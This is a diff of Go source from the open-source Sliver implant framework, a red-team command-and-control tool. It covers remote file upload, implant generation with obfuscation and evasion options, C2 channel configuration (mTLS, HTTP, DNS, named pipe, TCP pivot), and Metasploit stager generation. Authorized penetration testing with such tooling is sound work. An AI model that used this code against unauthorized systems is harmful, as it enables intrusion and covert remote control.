This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
localPath := ctx.Args.String("local-path")
remotePath := ctx.Args.String("remote-path")
isIOC := ctx.Flags.Bool("ioc")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
return
}
src, _ := filepath.Abs(localPath)
_, err := os.Stat(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if remotePath == "" {
fileName := filepath.Base(src)
remotePath = fileName
}
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveSession.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
}
-816
View File
@@ -1,816 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"io/ioutil"
"log"
"net"
"net/url"
"os"
"path"
"path/filepath"
"regexp"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
var (
// SupportedCompilerTargets - Supported compiler targets
SupportedCompilerTargets = map[string]bool{
"darwin/amd64": true,
"darwin/arm64": true,
"linux/386": true,
"linux/amd64": true,
"windows/386": true,
"windows/amd64": true,
}
validFormats = []string{
"bash",
"c",
"csharp",
"dw",
"dword",
"hex",
"java",
"js_be",
"js_le",
"num",
"perl",
"pl",
"powershell",
"ps1",
"py",
"python",
"raw",
"rb",
"ruby",
"sh",
"vbapplication",
"vbscript",
}
)
func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
config := parseCompileFlags(ctx)
if config == nil {
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, rpc)
}
func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
if len(ctx.Args) < 1 {
fmt.Printf(Warn+"Invalid implant name, see `help %s`\n", consts.RegenerateStr)
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"Failed to regenerate implant %s\n", err)
return
}
if regenerate.File == nil {
fmt.Printf(Warn + "Failed to regenerate implant (no data)\n")
return
}
saveTo, err := saveLocation(save, regenerate.File.Name)
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
if err != nil {
fmt.Printf(Warn+"Failed to write to %s\n", err)
return
}
fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo)
}
func saveLocation(save, defaultName string) (string, error) {
var saveTo string
if save == "" {
save, _ = os.Getwd()
}
fi, err := os.Stat(save)
if os.IsNotExist(err) {
log.Printf("%s does not exist\n", save)
if strings.HasSuffix(save, "/") {
log.Printf("%s is dir\n", save)
os.MkdirAll(save, 0700)
saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName))
} else {
log.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
_, err := os.Stat(saveTo)
if os.IsNotExist(err) {
os.MkdirAll(saveDir, 0700)
}
saveTo, _ = filepath.Abs(save)
}
} else {
log.Printf("%s does exist\n", save)
if fi.IsDir() {
log.Printf("%s is dir\n", save)
saveTo, _ = filepath.Abs(path.Join(save, defaultName))
} else {
log.Printf("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return "", errors.New("File already exists")
}
saveTo, _ = filepath.Abs(save)
}
}
return saveTo, nil
}
func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
var stageProto clientpb.StageProtocol
lhost := ctx.Flags.String("lhost")
if lhost == "" {
fmt.Println(Warn + "please specify a listening host")
return
}
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
if err != nil {
return
}
if !match {
addr, err := net.LookupHost(lhost)
if err != nil {
fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err)
return
}
if len(addr) > 1 {
prompt := &survey.Select{
Message: "Select an address",
Options: addr,
}
err := survey.AskOne(prompt, &lhost)
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
return
}
} else {
lhost = addr[0]
}
}
lport := ctx.Flags.Int("lport")
stageOS := ctx.Flags.String("os")
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
switch proto {
case "tcp":
stageProto = clientpb.StageProtocol_TCP
case "http":
stageProto = clientpb.StageProtocol_HTTP
case "https":
stageProto = clientpb.StageProtocol_HTTPS
default:
fmt.Printf(Warn+"%s staging protocol not supported\n", proto)
return
}
ctrl := make(chan bool)
go spin.Until("Generating stager, please wait ...", ctrl)
stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
Arch: arch,
BadChars: bChars,
Format: format,
Host: lhost,
Port: uint32(lport),
Protocol: stageProto,
OS: stageOS,
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
if save != "" || format == "raw" {
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
return
}
fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo)
} else {
fmt.Println(Info + "Here's your stager:")
fmt.Println(string(stageFile.GetFile().GetData()))
}
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n")
return nil
}
}
}
c2s := []*clientpb.ImplantC2{}
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
c2s = append(c2s, mtlsC2...)
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
c2s = append(c2s, httpC2...)
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
c2s = append(c2s, dnsC2...)
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
c2s = append(c2s, namedPipeC2...)
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
if ctx.Flags.Bool("debug") {
symbolObfuscation = false
} else {
symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
}
if len(mtlsC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
fmt.Printf(Warn + "Must specify at least one of --mtls, --http, --dns, --named-pipe, or --tcp-pivot\n")
return nil
}
rawCanaries := ctx.Flags.String("canary")
canaryDomains := []string{}
if 0 < len(rawCanaries) {
for _, canaryDomain := range strings.Split(rawCanaries, ",") {
if !strings.HasSuffix(canaryDomain, ".") {
canaryDomain += "." // Ensure we have the FQDN
}
canaryDomains = append(canaryDomains, canaryDomain)
}
}
reconnectInterval := ctx.Flags.Int("reconnect")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
limitHostname := ctx.Flags.String("limit-hostname")
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
isSharedLib := false
isService := false
isShellcode := false
format := ctx.Flags.String("format")
var configFormat clientpb.ImplantConfig_OutputFormat
switch format {
case "exe":
configFormat = clientpb.ImplantConfig_EXECUTABLE
case "shared":
configFormat = clientpb.ImplantConfig_SHARED_LIB
isSharedLib = true
case "shellcode":
configFormat = clientpb.ImplantConfig_SHELLCODE
isShellcode = true
case "service":
configFormat = clientpb.ImplantConfig_SERVICE
isService = true
default:
// default to exe
configFormat = clientpb.ImplantConfig_EXECUTABLE
}
targetOS := strings.ToLower(ctx.Flags.String("os"))
arch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, arch = getTargets(targetOS, arch)
if targetOS == "" || arch == "" {
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.")
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: arch,
Name: name,
Debug: ctx.Flags.Bool("debug"),
Evasion: ctx.Flags.Bool("evasion"),
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
ReconnectInterval: uint32(reconnectInterval),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
LimitHostname: limitHostname,
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
Format: configFormat,
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
}
return config
}
func getTargets(targetOS string, targetArch string) (string, string) {
/* For UX we convert some synonymous terms */
if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
targetOS = "darwin"
}
if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
targetOS = "windows"
}
if targetOS == "linux" || targetOS == "lin" {
targetOS = "linux"
}
if targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
targetArch = "amd64"
}
if targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
targetArch = "386"
}
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Unsupported compiler target %s, try to build anyways?", target),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return "", ""
}
}
return targetOS, targetArch
}
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "mtls"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
uri, err = url.Parse(arg)
if err != nil {
log.Printf("Failed to parse c2 URL %v", err)
continue
}
} else {
uri = &url.URL{Scheme: "https"} // HTTPS is the default, will fallback to HTTP
uri.Host = arg
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseDNSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "dns"}
if len(arg) < 1 {
continue
}
// Make sure we have the FQDN
if !strings.HasSuffix(arg, ".") {
arg += "."
}
if strings.HasPrefix(arg, ".") {
arg = arg[1:]
}
uri.Host = arg
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri, err := url.Parse("namedpipe://" + arg)
if len(arg) < 1 {
continue
}
if err != nil {
return c2s
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "tcppivot"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
name := ctx.Flags.String("name")
if name == "" && 1 <= len(ctx.Args) {
name = ctx.Args[0]
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
profile := getImplantProfileByName(rpc, name)
if profile != nil {
implantFile, err := compile(profile.Config, save, rpc)
if err != nil {
return
}
profile.Config.Name = buildImplantName(implantFile.Name)
_, err = rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
fmt.Printf(Warn+"could not update implant profile: %v\n", err)
return
}
} else {
fmt.Printf(Warn+"No profile with name '%s'", name)
}
}
func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) {
fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.ObfuscateSymbols {
fmt.Printf(Info+"%sSymbol obfuscation is enabled.%s\n", bold, normal)
fmt.Printf(Info + "This process can take awhile, and consumes significant amounts of CPU/Memory\n")
} else if !config.Debug {
fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal)
}
start := time.Now()
ctrl := make(chan bool)
go spin.Until("Compiling, please wait ...", ctrl)
generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: config,
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return nil, err
}
end := time.Now()
elapsed := time.Time{}.Add(end.Sub(start))
fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05"))
if len(generated.File.Data) == 0 {
fmt.Printf(Warn + "Build failed, no file data\n")
return nil, errors.New("No file data")
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
return nil, err
}
fmt.Printf(Info+"Implant saved to %s\n", saveTo)
return generated.File, err
}
func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
profiles := getImplantProfiles(rpc)
if profiles == nil {
return
}
if len(profiles) == 0 {
fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewProfileStr)
return
}
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Platform")),
strings.Repeat("=", len("Command & Control")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Obfuscation")),
strings.Repeat("=", len("Limitations")))
for _, profile := range profiles {
config := profile.Config
if 0 < len(config.C2) {
obfuscation := "strings only"
if config.ObfuscateSymbols {
obfuscation = "symbols obfuscation"
}
if config.Debug {
obfuscation = "none"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
profile.Name,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("[1] %s", config.C2[0].URL),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
fmt.Sprintf("%s", obfuscation),
getLimitsString(config),
)
}
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
"",
"",
"",
"",
)
}
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
}
table.Flush()
}
func getLimitsString(config *clientpb.ImplantConfig) string {
limits := []string{}
if config.LimitDatetime != "" {
limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
}
if config.LimitDomainJoined {
limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
}
if config.LimitUsername != "" {
limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
}
if config.LimitHostname != "" {
limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
}
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
return strings.Join(limits, "; ")
}
func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
name := ctx.Flags.String("profile-name")
if name == "" {
fmt.Printf(Warn + "Invalid profile name\n")
return
}
config := parseCompileFlags(ctx)
if config == nil {
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"Saved new profile %s\n", resp.Name)
}
}
func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
if len(ctx.Args) < 1 {
fmt.Printf(Warn+"Invalid implant name, see `%s %s --help`\n", consts.ProfilesStr, consts.RmStr)
return
}
_, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"Failed to delete profile %s\n", err)
return
}
}
func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile {
pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"Error %s", err)
return nil
}
return pbProfiles.Profiles
}
func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile {
pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"Error %s", err)
return nil
}
for _, profile := range pbProfiles.Profiles {
if profile.Name == name {
return profile
}
}
return nil
}
func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"Failed to list canaries %s", err)
return
}
if 0 < len(canaries.Canaries) {
displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned"))
} else {
fmt.Printf(Info + "No canaries in database\n")
}
}
func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Sliver Name")),
strings.Repeat("=", len("Domain")),
strings.Repeat("=", len("Triggered")),
strings.Repeat("=", len("First Trigger")),
strings.Repeat("=", len("Latest Trigger")),
)
lineColors := []string{}
for _, canary := range canaries {
if burnedOnly && !canary.Triggered {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
canary.ImplantName,
canary.Domain,
fmt.Sprintf("%v", canary.Triggered),
canary.FirstTriggered,
canary.LatestTrigger,
)
if canary.Triggered {
lineColors = append(lineColors, bold+red)
} else {
lineColors = append(lineColors, normal)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
fmt.Printf("%s%s%s\n", lineColor, line, normal)
} else {
fmt.Printf("%s\n", line)
}
}
}
+5
View File
@@ -0,0 +1,5 @@
Generate
========
Implements command related to implant generation such as `generate`, `regenerate`, `profiles`, etc.
+76
View File
@@ -0,0 +1,76 @@
package generate
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// CanariesCmd - Display canaries from the database and their status
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to list canaries %s", err)
return
}
if 0 < len(canaries.Canaries) {
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
} else {
con.PrintInfof("No canaries in database\n")
}
}
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Sliver Name")),
strings.Repeat("=", len("Domain")),
strings.Repeat("=", len("Triggered")),
strings.Repeat("=", len("First Trigger")),
strings.Repeat("=", len("Latest Trigger")),
)
lineColors := []string{}
for _, canary := range canaries {
if burnedOnly && !canary.Triggered {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
canary.ImplantName,
canary.Domain,
fmt.Sprintf("%v", canary.Triggered),
canary.FirstTriggered,
canary.LatestTrigger,
)
if canary.Triggered {
lineColors = append(lineColors, console.Bold+console.Red)
} else {
lineColors = append(lineColors, console.Normal)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
} else {
con.Printf("%s\n", line)
}
}
}
+34
View File
@@ -0,0 +1,34 @@
package generate
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to get compiler information: %s\n", err)
return
}
con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
con.Println()
con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
for _, cc := range compiler.CrossCompilers {
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
}
con.Println()
con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
for _, target := range compiler.Targets {
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
}
con.Println()
con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
for _, target := range compiler.UnsupportedTargets {
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
}
}
+117
View File
@@ -0,0 +1,117 @@
package generate
import (
"context"
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// GenerateStagerCmd - Generate a stager using Metasploit
func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var stageProto clientpb.StageProtocol
lhost := ctx.Flags.String("lhost")
if lhost == "" {
con.PrintErrorf("Please specify a listening host")
return
}
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
if err != nil {
return
}
if !match {
addr, err := net.LookupHost(lhost)
if err != nil {
con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
return
}
if len(addr) > 1 {
prompt := &survey.Select{
Message: "Select an address",
Options: addr,
}
err := survey.AskOne(prompt, &lhost)
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
} else {
lhost = addr[0]
}
}
lport := ctx.Flags.Int("lport")
stageOS := ctx.Flags.String("os")
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
switch proto {
case "tcp":
stageProto = clientpb.StageProtocol_TCP
case "http":
stageProto = clientpb.StageProtocol_HTTP
case "https":
stageProto = clientpb.StageProtocol_HTTPS
default:
con.PrintErrorf("%s staging protocol not supported\n", proto)
return
}
ctrl := make(chan bool)
con.SpinUntil("Generating stager, please wait ...", ctrl)
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
Arch: arch,
BadChars: bChars,
Format: format,
Host: lhost,
Port: uint32(lport),
Protocol: stageProto,
OS: stageOS,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if save != "" || format == "raw" {
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
}
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
} else {
con.PrintInfof("Here's your stager:")
con.Println(string(stageFile.GetFile().GetData()))
}
}
+625
View File
@@ -0,0 +1,625 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
"net"
"net/url"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
const (
// DefaultMTLSLPort is the default port for mtls
DefaultMTLSLPort = 8888
// DefaultWGPort is the default port for wg
DefaultWGLPort = 53
// DefaultWGNPort is the default n port for wg
DefaultWGNPort = 8888
// DefaultWGKeyExPort is the default port for wg key exchange
DefaultWGKeyExPort = 1337
// DefaultHTTPLPort is the default port for http
DefaultHTTPLPort = 80
// DefaultHTTPSLPort is the default port for https
DefaultHTTPSLPort = 443
// DefaultDNSLPortis the default port for dns
DefaultDNSLPort = 53
// DefaultTCPPivotPort is the default port for tcp pivots
DefaultTCPPivotPort = 9898
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
const (
crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
)
var (
// SupportedCompilerTargets - Supported compiler targets
SupportedCompilerTargets = map[string]bool{
"darwin/amd64": true,
"darwin/arm64": true,
"linux/386": true,
